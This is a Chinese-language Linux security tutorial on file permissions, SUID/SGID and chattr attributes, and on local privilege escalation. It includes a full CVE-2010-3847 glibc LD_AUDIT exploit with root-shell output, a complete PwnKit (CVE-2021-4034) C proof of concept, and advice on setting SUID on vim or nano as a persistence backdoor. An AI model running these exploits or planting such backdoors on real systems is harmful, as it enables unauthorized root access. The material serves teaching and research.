🦤特殊权限管理与提权

文件权限管理

文件权限有 3 种,即对文件的读(用 r 表示)、写(用 w 表示)和执行(用 x 表示,针对可执行文件或目录)权限。

--- 000 0
--x 001 1
-w- 010 2
-wx 011 3
r-- 100 4
r-x 101 5
rw- 110 6
rwx 111 7

修改文件权限

chmod
owner 属主, u
group 属组, g
other 其他, o

设置文件所有者

chown

OWNER #只修改所有者

OWNER:GROUP #同时修改所有者和属组

:GROUP #只修改属组,冒号也可用 . 替换

--reference=RFILE #参考指定的的属性,来修改

-R #递归,此选项慎用,非常危险!

特殊权限

前面介绍了r,w,x常见的三种权限,其实还有三种特殊的权限:SUID,SGID,SBIT

  • SUID 用于二进制可执行文件上,用户将继承此程序所有者权限

  • SGID 用于二进制可执行文件上以及目录上,此目录新建的文件的所属组将自动从此目录继承

  • STICKY 用于目录上,此目录的文件只能由所有者自己来删除

SUID

  • 一个程序能不能执行,取决于执行者对程序是否拥有执行权限

  • 进程访问文件时的权限也取决于进程的发起者

  • SUID只对二进制可执行程序有效

  • SUID设置在目录上无意义

[root@localhost ~]# ls -alh /usr/bin/passwd
  -rwsr-xr-x. 1 root root 28K 4   1 2020 /usr/bin/passwd

原本文件所有者权限中的 x 权限位,却出现了 s 权限,此种权限通常称为 SetUID,简称 SUID 特殊权限。

SUID特殊权限只适用于可执行文件,他对目录是无任何意义的,只要用户设有SUID的文件执行权限,那么当用户执行此文件时,就会以文件所有者的身份去执行此文件,一旦文件执行结束后,身份的切换就随之消失。

例如用户想修改自己的密码,但是修改涉及到Shadow文件,这个文件只有root权限才能修改,这时候passwd命令就设置了特殊权限,修改密码时临时使用了root的权限去修改shadow文件。

设置suid是权限维持的一种方法,将vim、nano等命令设置为特殊权限,如nano命令被设置后门,可以修改/root/.ssh/authorized_keys进行无密码登录,以及编辑/etc/shadow文件,除此之外还有各种方式留后门。

#添加特殊权限命令
chmod u+s /usr/bin/vim
#查找SUID、SGID文件
find / -perm -u=s -type f 2>/dev/null
find / -perm -g=s -type f 2>/dev/null

利用ping特殊权限提权

低版本的Centos5-6,可利用以下方式提权

#在/tmp下创建可控制的目录
$ mkdir /tmp/exploit
 
#链接到suid二进制程序以更改$ORIGIN的定义
$ ln -s /bin/ping /tmp/exploit/target
 
#打开到目标二进制程序的文件描述符
$ exec 3< /tmp/exploit/target
 
#现在可通过/proc访问描述符
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*
 
#删除之前所创建的目录
$ rm -rf /tmp/exploit/
 
#/proc链接仍存在,但已标记为已被删除
$ ls -l /proc/$$/fd/3
lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)
 
#使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标
$ cat > payload.c
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
^D
$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
$ ls -l /tmp/exploit
-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*
 
#通过LD_AUDIT强制/proc中的链接加载$ORIGIN
$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
 
#从$变成#,提权成功
sh-4.1# whoami
root
sh-4.1# id
uid=0(root) gid=500(taviso)

这个漏洞的编号为CVE-2010-3847

$ORIGIN是代表在文件系统多级结构中所加载的可执行程序的位置的ELF替换序列。

glibc的动态链接器展开特权应用的$ORIGIN替换的方式存在漏洞,本地用户可以通过创建到setuid应用的硬链接并通过LD_AUDIT强制展开$ORIGIN来获得权限提升。

CVE-2021-4034

polkit是一个应用程序级别的工具集,通过定义和审核权限规则实现不同优先级进程间的通讯;和sudo程序不同,它并没有赋予进程完全的root权限,而是通过一个集中的策略系统进行更精细的授权。

漏洞原理:

pkexec是polkit中的一个程序,因无法正确处理调用参数计数,最终尝试将环境变量作为命令执行,攻击者通过控制环境变量利用这一点,诱导pkexec执行任意代码。

POC:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
char *shell =
"#include <stdio.h>\n"
"#include <stdlib.h>\n"
"#include <unistd.h>\n\n"
"void gconv() {}\n"
"void gconv_init() {\n"
" setuid(0); setgid(0);\n"
" seteuid(0); setegid(0);\n"
" system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
" exit(0);\n"
"}";
 
int main(int argc, char *argv[]) {
FILE *fp;
system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
fp = fopen("pwnkit/pwnkit.c", "w");
fprintf(fp, "%s", shell);
fclose(fp);
system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

漏洞总结:

1. 通过设置 execve() 的 argv[] 为零,造成 argv[1] 越界读取,并绕过安全检查

2. 通过 g_printerr 函数发现可控的不安全环境变量 GCONV_PATH

3. 构造畸形的路径使 pkexec 从指定路径读取环境变量完成提权

SGID

  • 用于二进制可执行文件上以及目录上

  • 启动程序之后的进程,其属组为原程序文件的属组

当 s 权限位于所属组的 x 权限位时,就被称为 SetGID,简称 SGID 特殊权限

#添加SGID权限
chmod g+s /usr/bin/vim
 
#删除SGID权限
chmod g-s /usr/bin/vim

文件特殊属性

除了可以设定普通权限和特殊权限外,还可以利用文件和目录具有的一些隐藏属性。

chattr 命令,专门用来修改文件或目录的隐藏属性,只有 root 用户可以使用。

#显示特定属性
lsattr
 
#只能追加内容,不能删除,改名
chattr +a file
 
#不能删除、改名、更改(root权限也不行)
chattr +i file

一些WebShell、或者木马可能设置为特殊属性导致不能删除。

Last updated